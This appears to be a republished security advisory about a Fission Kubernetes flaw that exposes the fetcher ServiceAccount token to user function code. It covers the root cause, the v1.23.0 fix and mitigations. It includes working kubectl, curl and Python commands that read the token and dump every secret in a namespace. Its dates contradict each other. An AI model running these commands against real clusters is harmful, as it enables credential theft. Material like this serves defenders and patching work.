Listen to this Post
Fission runtime pods are created with ServiceAccountName: fission-fetcher, and the `fission-fetcher` ServiceAccount is granted namespace-wide `get` access to `secrets` and configmaps. The runtime pod’s automounted service account token is placed inside the user function container at /var/run/secrets/kubernetes.io/serviceaccount/token. Because Kubernetes does not provide per‑container SA scoping, any function code that a user deploys or updates can read the token and inherit the privileges of the `fission-fetcher` SA. As a result, user code can query the Kubernetes API to read any secret or configmap in the function’s namespace, completely bypassing the intended `Function.spec.secrets` allowlist. The vulnerable code is in pkg/executor/executortype/poolmgr/gp_deployment.go:154-156, pkg/executor/executortype/newdeploy/newdeploy.go:225-227, and pkg/utils/serviceaccount.go:51-64. The root cause is that the fetcher sidecar’s required SA token is automatically mounted into the user container, granting unintended API access. The fix in v1.23.0 sets `AutomountServiceAccountToken: false` at the container level and uses a projected volume for the sidecar’s token, leaving the user container tokenless unless an explicit `Function.spec.podspec` with a different SA is provided.
dailycve form:
Platform: Fission Kubernetes platform
Version: Before v1.23.0
Vulnerability : Privilege Escalation
Severity: High
date: 2026-05-21
Prediction: Patch expected 2025-12-31
What Undercode Say:
Check if the SA token is automounted in a running function pod
kubectl exec -it <function-pod> -c <user-container> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
List all secrets in the namespace using the token
kubectl exec -it <function-pod> -c <user-container> -- sh -c 'curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/$NAMESPACE/secrets'
Minimal Python function to dump secrets
cat <<EOF | kubectl exec -it <function-pod> -c <user-container> -- python3
import os, requests, json
token = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read()
ns = open('/var/run/secrets/kubernetes.io/serviceaccount/namespace').read()
r = requests.get(f'https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/{ns}/secrets',
headers={'Authorization': f'Bearer {token}'}, verify=False)
print(json.dumps(r.json(), indent=2))
EOF
Exploit:
An attacker with the ability to deploy or update a Fission function can include code that reads the automounted token and queries the Kubernetes API. No additional privileges are needed. With the token, the attacker can read all secrets and configmaps in the namespace, then use those credentials to pivot to other resources (e.g., cloud provider keys, database passwords).
Protection from this CVE
- Upgrade to Fission v1.23.0 or later.
- Mitigations until upgrade:
- Restrict who can create/update `Function` and `Package` CRDs.
- Reduce the `fission-fetcher` RBAC scope (e.g., bind to specific named secrets).
- Apply NetworkPolicy egress rules to block function pods from reaching the Kubernetes API server.
Impact
- Unauthorised reading of every secret in the namespace (TLS keys, OIDC client secrets, database credentials, cloud provider credentials).
- Unauthorised reading of every configmap in the namespace.
- Pivoting to other Kubernetes resources or external systems using the leaked credentials.
- Complete violation of the intended `Function.spec.secrets` allowlist model.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
